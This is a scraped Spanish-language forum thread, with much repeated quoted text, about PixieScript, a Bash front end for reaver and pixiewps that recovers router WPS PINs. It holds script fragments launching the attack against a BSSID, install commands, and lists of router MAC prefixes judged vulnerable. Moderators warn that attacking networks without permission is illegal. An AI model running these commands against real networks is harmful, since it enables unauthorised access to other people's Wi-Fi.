# Le cambia el icono en la pantalla de redes escaneadas a el icono de agregado a bruteforce
AgregarBssidDatabases 4
# Indico que el ataque ha acabado
ATAQUE_ACABADO="SI"
# Y actualizo los datos de el scaneo de cara a que se refresque el nuevo icono y muestre el icono correcto
if [ $ACTUALIZAR_SCAN = "SI" ]; then ProcesarDatosScaneo; fi
# Y salimos de la funcion
return 1
fi
fi
fi
# Si llega aqui implica que no ha encontrado el pin y no admite bruteforce o bien no hemos querido agregar la sesion
echo "$BSSID : ATAQUE FALLIDO, BSSID NO VULNERABLE A PIXIEWPS ATTACK" > "$LOG_STATUSBAR"
# Cambio el icono a no vulnerable
AgregarBssidDatabases 2
# Le indico que ha acabado el ataque
ATAQUE_ACABADO="SI"
# Y refresco los datos del scaneo para que muestre el icono de no vulnerable
if [ $ACTUALIZAR_SCAN = "SI" ]; then ProcesarDatosScaneo; fi
# Salimos
return 1
fi
# Si estamos aqui implica que el "WPS not found" no se escuentra en el LOG, por tanto en teoria deberia haber encontrado el PIN
# En teoria deberia ser aqui donde lo extrae
PIN_WPS=$(grep "WPS pin" "$LOG_ATAQUE" | awk -F":" {' print $2 '})
Probada la 2.6.1 en ws 4.10.1 y me sigue dando "ha ocurrido un error al escanear redes", un saludo y a seguir probando. ;)
Probada la 2.6.1 en ws 4.10.1 y me sigue dando "ha ocurrido un error al escanear redes", un saludo y a seguir probando. ;)
Pues a mí me ha funcionado el la 4.10.1 final y en la de desarrollo wifislax-13052015.iso con la Wifistation Planar en el sobremesa, peeero no dispongo de ningún router vulnerable para poder hacer mas pruebas.
Un saludo.
./configure --prefix=${RUTA_INSTALACION}/HERRAMIENTAS --sysconfdir=${RUTA_INSTALACION}/HERRAMIENTAS &> COMPILANDO_REAVER || ErroresDependencias 2
seria interesante 2.6.2
mientras miras de crear algo ce zero si quieres ..aunque creo que no te vale la pena.
Mod 5.1 Options:
-F, --FINALIZAR Extrae y muestra PKE, PKR, AUTHKEY, EHASH, EHASH2, E-NONCE y finaliza el ataque
-P, --PROSEGUIR Extrae y muestra PKE, PKR, AUTHKEY, EHASH, EHASH2, E-NONCE y continua el ataque
-G, --GEMINIS Extrae y muestra datos del AP
-X, --NOCHECKSUM Junto con -p <pin> no efectua comprobación del checksum del pin usado
Script actualizado a 2.6.2Hola guys¿podria alguien crear una iso con el script actualizado a la ultima?¿o un xzm y decirme como instalarlo en wifislax 4.10 usb?
Tambien he actualizado la lista de bssids vulnerables, actualizar desde el propio script una vez instalado.
Saludos
Script actualizado a 2.6.2Hola guys¿podria alguien crear una iso con el script actualizado a la ultima?¿o un xzm y decirme como instalarlo en wifislax 4.10 usb?
Tambien he actualizado la lista de bssids vulnerables, actualizar desde el propio script una vez instalado.
Saludos
Gracias
Hola guys¿podria alguien crear una iso con el script actualizado a la ultima?¿o un xzm y decirme como instalarlo en wifislax 4.10 usb?
Gracias
no creo , pero ¿no estaras escaneando mientras estas conectado a internet?
voy a probar
¿como quedo el tema de la mac NO CHECKSUM?
¿la detecta automaticamente y aplica la variable al ataque?
case $ESTADO in
"NV") ESTADO="gtk-dialog-error" ;;
"PC") ESTADO="gtk-about" ;;
"SD") ESTADO="gtk-dialog-warning" ;;
"BF") ESTADO="gtk-execute";;
esac
Yo uso 4-10-1 con kde y estan, por otro lado uso Linux Mint y aunque alguno cambia, tambien estan, y di por sentado que estan en todas las distros.... si ves que dan problemas, mira unos iconos que tengan todos los escritorios y los cambio, total es lo mismo
Ok, pues ya tienes curro :)
Yo aprovecho mientras salen nuevos fallos para mirame el tema de las librerias libpcap, que me molaria hacerme mi propio scaner wps y que las redes detectadas vayan apareciendo a tiempo real en el script.... a ver si lo consigo jejeje, dificil lo veo pero como minimo aprendo
airmon-ng start <la tarjeta que tengas>
iwconfig
a ver Spanky si solventamos tu problema.
Ese error SOLO se produce si no encuentra el archivo cap de airodump. Por lo que por alguna razón esta fallando el airodump-ng....
Cuando te de ese error, mira si existe el archivo /opt/PixieScript/LOGS/CAPTURA-01.cap (sin cerrar el script eh)
Tambien consulta o mejor aún copia y pega aqui el archivo /opt/PixieScript/pixiescript.log
@pepe10000
veo que el error es solo en 4.10.1
creo que es por que gtkdialog esta repetido ...
y al estar en xfce también ... puede que sea menor la versión a la que pide
por ejemplo
gtkdialog en modulo 004
y después en 13 xfce como el 13 se carga después mandaria ese gtkdialog.
la solución temporal , usando slackbuilds ... crear el modulo de gtkdialog 0.8.3 y ponerlo en modules para que sea ese siempre el ultimo en carga.
cat /etc/NetworkManager/NetworkManager.conf
# /etc/NetworkManager/NetworkManager.conf
#
# See NetworkManager.conf(5) for more information on this file
[main]
plugins=keyfile
dhcp=dhcpcd
[keyfile]
unmanaged-devices=mac:00:80:C8:0C:B7:D7
ifconfig $TARJETA_SELECCIONADA up
(sudo airodump-ng "$TARJETA_MODO_MONITOR" -a -w "$ARCHIVO_CAP" &> /dev/null &)
ifconfig $TARJETA_SELECCIONADA up
echo "ATACANDO BSSID $BSSID EN CANAL $CANAL" > "$LOG_STATUSBAR"
sudo "$REAVER" -F -G -i $TARJETA_MODO_MONITOR -b $BSSID -c $CANAL -a -n -vv -D > "$LOG_ATAQUE"
sudo airmon-ng start $TARJETA_SELECCIONADA &> "$LOG_VARIOS"
sleep 3
ifconfig $TARJETA_SELECCIONADA up
A ver si me aclaro, entonces quito el ifconfig up de antes del scaneo y del ataque, y lo paso una sola vez justo despues del airmon start.... ¿ es eso no ?
@pepe10000
veo que el error es solo en 4.10.1
creo que es por que gtkdialog esta repetido ...
y al estar en xfce también ... puede que sea menor la versión a la que pide
por ejemplo
gtkdialog en modulo 004
y después en 13 xfce como el 13 se carga después mandaria ese gtkdialog.
la solución temporal , usando slackbuilds ... crear el modulo de gtkdialog 0.8.3 y ponerlo en modules para que sea ese siempre el ultimo en carga.
lordamin
Hola, puedes subir el modulo gtkdialog 0.8.3? lo digo porque yo uso la 4.10 en vez de de la 4.10.1 porque no me funciona, y en la v 4.10 no viene el gtkdialog.
pasando los datos a mano ... pixie no se queja.
dice bad enrollee ,por que el fichero de donde debe leer se borra antes ...
PIXIESCRIPT.LOG
***************** EsperarAcabarReaver
***************** ExtraerDatosReaver
***************** AnalizarLogPixiewps
cat: 8C0CA3XXXXXX.resultado: No existe el fichero o el directorio
rm: no se puede borrar «8C0CA3XXXXXX.resultado»: No existe el fichero o el directorio
Enrollee=$(grep "E-Nonce:" "$LOG_ATAQUE" | awk '{print $2}')
LOG_ATAQUE="$RUTA_LOGS/REAVER.LOG"
grep "E-Nonce:" /opt/PixiScript/LOGS/REAVER.LOG | awk '{print $2}'
claro , me devuel justito , lo que se queja pixie..
el grep devuelve
en ;D
asi que hay esta el asunto ...
movi el REAVER.LOG al escritorio
wifislax ~ # PKe=$(grep "PKe:" "/root/Desktop/LOGS/REAVER.LOG" | awk '{print $2}')
wifislax ~ # echo $PKe
en
wifislax ~ #
carajo, que cosas más raras pasan jajajajaja.... ese bssid está maldito!!!!
Prueba una cosa, lanza el reaver_pixie a mano contra ese bssid, a ver si la salida que te arroja es normal, luego vuelvelo a lanzar volcandolo en un archivo, a ver si pasa lo mismo y te mete caracteres extraños
es que no te quiero marear mas ;D
cuando arrancas la gui , para clasificar los aps se basa en leer el fichero redes atacadas etc
pero si los ficheros *.DATOS , los mueves o borras sigue mensando que las tiene y al hacer ataque completo se las salta ;D
igual es mejor crear l *.DATOS ASI
ESSID_BSSID.DATOS
Y QUE SE GUIE POR ESOS FICHEROS NADA MAS ..la mac debería ser entera para evitar posibles aps con el mismo name , como cuando se usa un reprtidor de señal.
quitándole los separadores ,por si mueven los ficheros a un pendrive y luego quieren leerlos en Windows no les de error.
solo es una idea.
buenos dias 5.1 veo que el scrip,falla a la hora de atacar,por ejemplo una moviestar ,se queda en en buscando la clave,al rato dice no se a encontrado,y en geminis la misma 5 segundos tarda en dar la clave,un saludo
vaya par de maquinas os habeis juntao,a proposito¿lo de bruteforce en que consiste,en probar todos los pins o un ataque con diccionario y aircrack?
Otra mac afectada
00:14:5C
perdona, usuarionuevo no te entiendo,un saludobuenos dias 5.1 veo que el scrip,falla a la hora de atacar,por ejemplo una moviestar ,se queda en en buscando la clave,al rato dice no se a encontrado,y en geminis la misma 5 segundos tarda en dar la clave,un saludo
-n
-n
perdona, usuarionuevo no te entiendo,un saludo
ok,ya lo he visto,un saludo
Buenas tardes,es solo una pregunta,pq que no sacais un modulo de PixieScript.
5.1
en la versión 2.6.3-
¿cambiaste al final wash-airodump por wps scan en c?
Lo digo porque ahora va perfectamente, me escanea siempre, gracias y un saludo. ;)
Eso esta hecho, cuenta conmigo para testing :D
[ Si alguien más quiere ayudar pues que me lo comunique
el 2.6.3 marca error de yad con wifislax 4.10 en vmware, con el 2.5 ya me funciono con 1
a la noche estoy disponible.
a partir de las 22:00
Me pasa igual, la primera vez que lo abro, da error de escaneo.[ Si alguien más quiere ayudar pues que me lo comunique
yo continuo con el problema de que la primera vez que lo abro no me escanea
creo que se deberia abrir un post , con la nueva herramienta, por que creo que hay para rato ... ;)
Si fuera posible me gustaria :3 ser tester
En una resolución de 1024x600 no se ve bien la GUI.
Por cierto como se usa el ataque por fuerza bruta.
es bastante raro, he probado la F8:63:94 - Movistar, en una me funcionó y la misma mac, diferente router, no se pudieron obtener datos, ataque fallido. ;)
En un portátil de 10 pulgadas con una resolución baja no se consigue ver bien la aplicación del todo ni al maximizarla ni al dejarla al tamaño como cuando se abre.
Tampoco he conseguido ver como funciona lo de fuerta bruta.
Ya he encontrado el por que mete en la lista de vulnerables , macs que ya existen ...
if ! grep -q "$SUB_MAC $DATABASE_REDES_VULNERABLES"
if ! grep -q "$SUB_MAC" "$DATABASE_REDES_VULNERABLES"
y como en la revista el jueves "Teniamos otras portadas" ;D
sin comillas
if ! grep -q $SUB_MAC $DATABASE_REDES_VULNERABLES
o como tienes todas las demas ,..con entrecomillado solo a la ruta del fichero
if ! grep -q $SUB_MAC "$DATABASE_REDES_VULNERABLES"
o incluso , entrcomillada solo la sub mac
if ! grep -q "$SUB_MAC" $DATABASE_REDES_VULNERABLES
una comilla , al meter los dos campos dentro del mismo par de comillas, quedan como un solo argumento...y de hay que crea siempre que no existen en la BD.
Lo comento para los que van leyendo y no entienden de que hablamos ;)
Actualice la base de vulnerables a la v7 que tienes ...y no estan un par que reporte ;D
00:14:5C
80:1F:02
Igual es una tontería, pero no podrías usar el CODE, que usa el reaver para el scrollbar automático?
Un saludo
Se que esto esta un poco prado , pero me he dado cuenta que en la lista de vulnerables te falta esta
84:DB:AC WPS PixieWPS Orange-????
Se que esto esta un poco prado , pero me he dado cuenta que en la lista de vulnerables te falta esta
84:DB:AC WPS PixieWPS Orange-????
Pues sí está parado sí, y eso que tengo una versión nueva para publicar con algunos cambios, igual que de DixieScan, pero con la gui del hashcat no hay tiempo para más.. un día de estos ;D
Como es posible guardar la sesión de bruteforce en un modulo xzm???
Enviado desde mi SM-N9005 mediante Tapatalk
Una preguntilla que he mirado #1 y no lo veo.
Bruteforce que hace exactamente ?
Se trabaja la respuesta de los pines probados en pixie ?
O es un reaver probando todos los pines ?
vaya par de maquinas os habeis juntao,a proposito¿lo de bruteforce en que consiste,en probar todos los pins o un ataque con diccionario y aircrack?
Ni probar todos los pins ni ataque de diccionario.... la version 1.1 implemente un ataque bruteforce pero solo contra ciertos modelos con un determinado chipset Realtek, el propio script detecta despues del primer ataque de pixiewps si es susceptible a un ataque bruteforce y te pregunta si quieres añadirlo.
apt-get install intltool libpcap0.8-dev libsqlite3-dev libxmu-headers libxmu-dev
wget https://gtkdialog.googlecode.com/files/gtkdialog-0.8.3.tar.gz
wget http://downloads.sourceforge.net/project/pixiescript/PixieScript_v2.6.3.tar.gz
wget http://sourceforge.net/projects/yad-dialog/files/yad-0.28.1.tar.xz
tar xvzf gtkdialog-0.8.3.tar.gz
tar xf yad-0.28.1.tar.xz
tar xvzf PixieScript_v2.6.3.tar.gz
cd gtkdialog-0.8.3/
./configure
make
make install
cd ..
cd yad-0.28.1/
./configure
make
make install
dpkg-reconfigure dash
Te hará una pregunta, contestas que NOcd ..
cd PixieScript_v2.6.3/
chmod +x INSTALADOR
./INSTALADOR
Hola amigos del foro, esta es mi primera visita y ayudarían en relación con el uso de la herramienta pixiescript, que es un excelente guión.
En Brasil la mayoría de los routers son los modelos tl-wr fabricante TP LINK DE 720N - 740N y otros; y no son vulnerables a los ataques pixiescript.
Es posible ver cualquier violación de la seguridad de estos routers.
Sinceramente, Cesar14. >:( >:( >:(
Lo siento por los errores en español porque estoy utilizando el traductor de google para ayudar.
Hola amigos del foro, es posible que alguien le ayude con algunas renovaciones para pixiescript que puede descubrir el pin en los routers de la marca TP LINK 720N - 740N y otros, porque vi que lamentablemente niguém dijo nada acerca de estos routers hasta el momento,
Yo sería feliz con un poco de ayuda, sinceramente Cesar14 ??? :D
quiere que "por arte de magia" ,el ataque afecte a los routers que al le parezcan ;D
quiere que "por arte de magia" ,el ataque afecte a los routers que al le parezcan ;D
Mola, en la próxima versión le pongo un botón para hackear facebook y otro para leer el whatsapp de la novia. fácil ...
DOUAT, te acabo de borrar los dos post que has publicado, anteriormente ya te borraron otro por la misma razón, no puedes poner datos de redes ajenas en el foro... leete las normas para la próxima vez
PixieScript
No Vulnerables
MARCA------------------MODELO-----------MAC------------PIN--------------PROGRAMA
linksys----------------WRT120N68--------7F:74:E3-------------------------PixieScript 2.6.3
Pegatron-------------------------------------70:71:BC------------------------PixieScript 2.6.3
Pegatron-------------------------------------7C:05:07------------------------PixieScript 2.6.3
Cisco-Linksys----------WRT12N-----------68:7F:74-------77396310-----Geminis Auditor 1.2
ARRIS----------------------------------------64:55:B1------------------------PixieScript 2.6.3
TP-LINK----------------TL-WR741N--------B0:48:7A------------------------PixieScript 2.6.3
TP-LINK----------------TL-WR740N--------C4:6E:1F------------------------PixieScript 2.6.3
TP-LINK----------------TL-WR841N--------64:66:B3------------------------PixieScript 2.6.3
TP-LINK----------------TL-WR740N--------94:0C:6D------------------------PixieScript 2.6.3
Broadcom------------------------------------D0:7A:B5------------------------PixieScript 2.6.3
Si Vulnerables
MARCA------------------MODELO-----------MAC------------PROGRAMA
TP-LINK----------------TL-WR1042N----C4:6E:1F-------PixieScript 2.6.3
Belkin International---NW F5D8236---94:44:52-------PixieScript 2.6.3
Huawei Tecnologies-----------------------88:E3:AB-------PixieScript 2.4
Ralink Wireless---------RT2860----------B0:46:FC-------PixieScript 2.6.3
Ralink Wireless---------RT2860----------1C:7E:E5-------PixieScript 2.6.3
Ralink Wireless---------RT2860----------88:E3:AB-------PixieScript 2.6.3
ARRIS-------------------TG862G----------BC:CA:B5-------PixieScript 2.6.3
ARRIS-------------------TG862G----------8C:09:F4-------PixieScript 2.6.3
ARRIS-------------------TG862G----------90:0D:CB-------PixieScript 2.6.3
ARRIS-------------------TG862G----------14:AB:F0-------PixieScript 2.6.3
ARRIS-------------------TG862G----------00:AC:E0-------PixieScript 2.6.3
ARRIS-------------------TG862G----------90:C7:92-------PixieScript 2.6.3
ARRIS-------------------TG862G----------90:1A:CA-------PixieScript 2.6.3
ARRIS-------------------TG862G----------94:87:7C-------PixieScript 2.6.3
ARRIS---------------------------------------14:CF:E2-------PixieScript 2.4
@EUSKOGUDARI, prueba esto :
ESTO ES PARA KALI LINUX, DESCONOZCO SI EN OTRAS DISTROS SERIA LA SOLUCION
Lo primero instalar dependencias necesarias (todo lo vamos a hacer desde la terminal)Código: [Seleccionar]apt-get install intltool libpcap0.8-dev libsqlite3-dev libxmu-headers libxmu-dev
A continuación descargamos programas necesariosCódigo: [Seleccionar]wget https://gtkdialog.googlecode.com/files/gtkdialog-0.8.3.tar.gz
wget http://downloads.sourceforge.net/project/pixiescript/PixieScript_v2.6.3.tar.gz
wget http://sourceforge.net/projects/yad-dialog/files/yad-0.28.1.tar.xz
Una vez descargados, descomprimimosCódigo: [Seleccionar]tar xvzf gtkdialog-0.8.3.tar.gz
tar xf yad-0.28.1.tar.xz
tar xvzf PixieScript_v2.6.3.tar.gz
Bien, vamos a instalar gtkdialodCódigo: [Seleccionar]cd gtkdialog-0.8.3/
./configure
make
make install
Ahora instalamos yadCódigo: [Seleccionar]cd ..
cd yad-0.28.1/
./configure
make
make install
Ahora desde la consolaCódigo: [Seleccionar]dpkg-reconfigure dash
Te hará una pregunta, contestas que NO
Y ahora ...Código: [Seleccionar]cd ..
cd PixieScript_v2.6.3/
chmod +x INSTALADOR
./INSTALADOR
Y listo, ya te debería de iniciar
NOTA : Si te dan problemas algún script por haber hecho el dpkg-reconfigure , simplemente volviendolo a hacer y diciendo que SI, dejamos todo como estaba.
Suerte y ya dirás ...
@EUSKOGUDARI, prueba esto :Primeramente gracias y felicitaciones por todo este trabajo.
ESTO ES PARA KALI LINUX, DESCONOZCO SI EN OTRAS DISTROS SERIA LA SOLUCION
Lo primero instalar dependencias necesarias (todo lo vamos a hacer desde la terminal)Código: [Seleccionar]apt-get install intltool libpcap0.8-dev libsqlite3-dev libxmu-headers libxmu-dev
A continuación descargamos programas necesariosCódigo: [Seleccionar]wget https://gtkdialog.googlecode.com/files/gtkdialog-0.8.3.tar.gz
wget http://downloads.sourceforge.net/project/pixiescript/PixieScript_v2.6.3.tar.gz
wget http://sourceforge.net/projects/yad-dialog/files/yad-0.28.1.tar.xz
Una vez descargados, descomprimimosCódigo: [Seleccionar]tar xvzf gtkdialog-0.8.3.tar.gz
tar xf yad-0.28.1.tar.xz
tar xvzf PixieScript_v2.6.3.tar.gz
Bien, vamos a instalar gtkdialodCódigo: [Seleccionar]cd gtkdialog-0.8.3/
./configure
make
make install
Ahora instalamos yadCódigo: [Seleccionar]cd ..
cd yad-0.28.1/
./configure
make
make install
Ahora desde la consolaCódigo: [Seleccionar]dpkg-reconfigure dash
Te hará una pregunta, contestas que NO
Y ahora ...Código: [Seleccionar]cd ..
cd PixieScript_v2.6.3/
chmod +x INSTALADOR
./INSTALADOR
Y listo, ya te debería de iniciar
NOTA : Si te dan problemas algún script por haber hecho el dpkg-reconfigure , simplemente volviendolo a hacer y diciendo que SI, dejamos todo como estaba.
Suerte y ya dirás ...
cd ..
cd PixieScript_v2.6.3/
chmod +x INSTALADOR
./INSTALADOR
root@kali:~/Desktop/PixieScript_v2.6.3# ./INSTALADOR
DEPENDENCIAS GLOBALES
COMPROBANDO DEPENDENCIA GTKDIALOG .... OK
COMPROBANDO DEPENDENCIA YAD .......... OK
COMPROBANDO DEPENDENCIA AIRCRACK-NG... OK
COMPROBANDO DEPENDENCIA CURL ......... OK
COMPROBANDO DEPENDENCIA MACCHANGER ... OK
COMPROBANDO DEPENDENCIA gksudo ....... OK
HERRAMIENTAS
COMPROBANDO DEPENDENCIA MOD_REAVER ... FALTA
DESCARGANDO REAVER, ESPERA ... OK
APLICANDO PARCHE REAVER ...... OK
COMPILANDO REAVER, ESPERA .... OK
LIMPIANDO .................... OK
COMPROBANDO DEPENDENCIA PIXIEWPS ..... FALTA
DESCARGANDO PIXIEWPS, ESPERA . OK
APLICANDO PARCHE PIXIEWS ..... OK
INSTALANDO PIXIEWPS .......... ERROR, CONSULTA EL ARCHIVO COMPILANDO_PIXIEWPS
mv: cannot stat ‘COMPILANDO_PIXIEWPS’: No such file or directory
Duraras menos que el tiro de una escopeta con esa pregunta, esa es mi humilde opinión!!
he visto varios router y me he podido conectar a casi todos
hola
@TheRoot
por estudio, con maldad o sin ella.
Es ilegal auditar una red de la que no se possen los pertinentes permiso y en este foro NO DAMOS SOPORTE NI AL ATAQUE, NI AL USO DE REDES AJENAS.
https://foro.seguridadwireless.net/foro-libre-offtopic/normas-del-foro-20453/
por tanto voy a borrar el contenido de tus mensajes, ya que no quedad claro el uso que haces de nuestras herramientas.
saludos
pd. tomate este aviso como un toque de atención importante, por un poco no se ha borrado tu cuenta. Somos extremadamente escrupulosos con el cumplimiento de nuestras políticas
@EUSKOGUDARI, prueba esto :
ESTO ES PARA KALI LINUX, DESCONOZCO SI EN OTRAS DISTROS SERIA LA SOLUCION
Lo primero instalar dependencias necesarias (todo lo vamos a hacer desde la terminal)Código: [Seleccionar]apt-get install intltool libpcap0.8-dev libsqlite3-dev libxmu-headers libxmu-dev
A continuación descargamos programas necesariosCódigo: [Seleccionar]wget https://gtkdialog.googlecode.com/files/gtkdialog-0.8.3.tar.gz
wget http://downloads.sourceforge.net/project/pixiescript/PixieScript_v2.6.3.tar.gz
wget http://sourceforge.net/projects/yad-dialog/files/yad-0.28.1.tar.xz
Una vez descargados, descomprimimosCódigo: [Seleccionar]tar xvzf gtkdialog-0.8.3.tar.gz
tar xf yad-0.28.1.tar.xz
tar xvzf PixieScript_v2.6.3.tar.gz
Bien, vamos a instalar gtkdialodCódigo: [Seleccionar]cd gtkdialog-0.8.3/
./configure
make
make install
Ahora instalamos yadCódigo: [Seleccionar]cd ..
cd yad-0.28.1/
./configure
make
make install
Ahora desde la consolaCódigo: [Seleccionar]dpkg-reconfigure dash
Te hará una pregunta, contestas que NO
Y ahora ...Código: [Seleccionar]cd ..
cd PixieScript_v2.6.3/
chmod +x INSTALADOR
./INSTALADOR
Y listo, ya te debería de iniciar
NOTA : Si te dan problemas algún script por haber hecho el dpkg-reconfigure , simplemente volviendolo a hacer y diciendo que SI, dejamos todo como estaba.
Suerte y ya dirás ...
Se ve que no interesa que funcione en ubuntu, solo es wifislax. Por mi parte podeis borrar el post cuando querais.
nuevos modems de fibra optica de temex infinitum Alcatel lucent vulnerables
f4:c6:13:xx:xx:xx
18:4a:6f:xx:xx:xx
Se ve que no interesa que funcione en ubuntu, solo es wifislax. Por mi parte podeis borrar el post cuando querais.
si te dice que te falta pixiewps , y no sabes leer no es cualpa de nadie, ¿ok?
busca como instalar pixiewps en ubuntu , o el sistema que tengas.
cambio y corto.
@EUSKOGUDARI, prueba esto :
ESTO ES PARA KALI LINUX, DESCONOZCO SI EN OTRAS DISTROS SERIA LA SOLUCION
Lo primero instalar dependencias necesarias (todo lo vamos a hacer desde la terminal)Código: [Seleccionar]apt-get install intltool libpcap0.8-dev libsqlite3-dev libxmu-headers libxmu-dev
A continuación descargamos programas necesariosCódigo: [Seleccionar]wget https://gtkdialog.googlecode.com/files/gtkdialog-0.8.3.tar.gz
wget http://downloads.sourceforge.net/project/pixiescript/PixieScript_v2.6.3.tar.gz
wget http://sourceforge.net/projects/yad-dialog/files/yad-0.28.1.tar.xz
Una vez descargados, descomprimimosCódigo: [Seleccionar]tar xvzf gtkdialog-0.8.3.tar.gz
tar xf yad-0.28.1.tar.xz
tar xvzf PixieScript_v2.6.3.tar.gz
Bien, vamos a instalar gtkdialodCódigo: [Seleccionar]cd gtkdialog-0.8.3/
./configure
make
make install
Ahora instalamos yadCódigo: [Seleccionar]cd ..
cd yad-0.28.1/
./configure
make
make install
Ahora desde la consolaCódigo: [Seleccionar]dpkg-reconfigure dash
Te hará una pregunta, contestas que NO
Y ahora ...Código: [Seleccionar]cd ..
cd PixieScript_v2.6.3/
chmod +x INSTALADOR
./INSTALADOR
Y listo, ya te debería de iniciar
NOTA : Si te dan problemas algún script por haber hecho el dpkg-reconfigure , simplemente volviendolo a hacer y diciendo que SI, dejamos todo como estaba.
Suerte y ya dirás ...
que tal quisiera saber si tienen informacion de porque desde hace una semana ya no funciona este metodo en los routers arris de megacable ya no da ela clave ni el pin
- Fabricante : ARRIS
- Modelo : TG862G
- Numero de modelo : RT2860
- Numero de serie : 12345678
- Device Name : ARRIS TG862 Router
-
Muchas gracias ahora se puede atacar con algun metodo el PCB Push Button Configuration ?
hola quisiera saber si es posiblE vulnerar un mac 38:4C:90:26:6F:XX. TE LO AGRADEZCO DE ANTEMANO DE SER ASI. GRACIASHola, realmente no sabria decirte pues esa mac que describes es, si no me equivoco de ARRIS.
gtkdialog --version
se sabe si 5.1 actualizara Pixie Dust Attack yo lo utilozo mucho pero esta muy desatualizado de todas maneras muchas gracias por el programa 5.1
las mac afetadas Última modificación: 16-06-2015se sabe si 5.1 actualizara Pixie Dust Attack yo lo utilozo mucho pero esta muy desatualizado de todas maneras muchas gracias por el programa 5.1
Concretamente, ¿en qué está muy desactualizado?
las mac afetadas Última modificación: 16-06-2015
Buenas me da este error:
DEPENDENCIAS GLOBALES
COMPROBANDO DEPENDENCIA GTKDIALOG .... OK
COMPROBANDO DEPENDENCIA YAD .......... OK
COMPROBANDO DEPENDENCIA AIRCRACK-NG... OK
COMPROBANDO DEPENDENCIA CURL ......... OK
COMPROBANDO DEPENDENCIA MACCHANGER ... OK
HERRAMIENTAS
COMPROBANDO DEPENDENCIA MOD_REAVER ... FALTA
DESCARGANDO REAVER, ESPERA ... svn: E160013: Unable to connect to a repository at URL 'http://reaver-wps.googlecode.com/svn/trunk'
svn: E160013: ruta 'http://reaver-wps.googlecode.com/svn/trunk' no encontrada
ERROR
Tengo el MOD REAVER instalado, aún así ¿alguien sabe el repositorio?.
Estoy trabajando desde wifislax 10.10.1 instalado en el disco duro.
Gracias.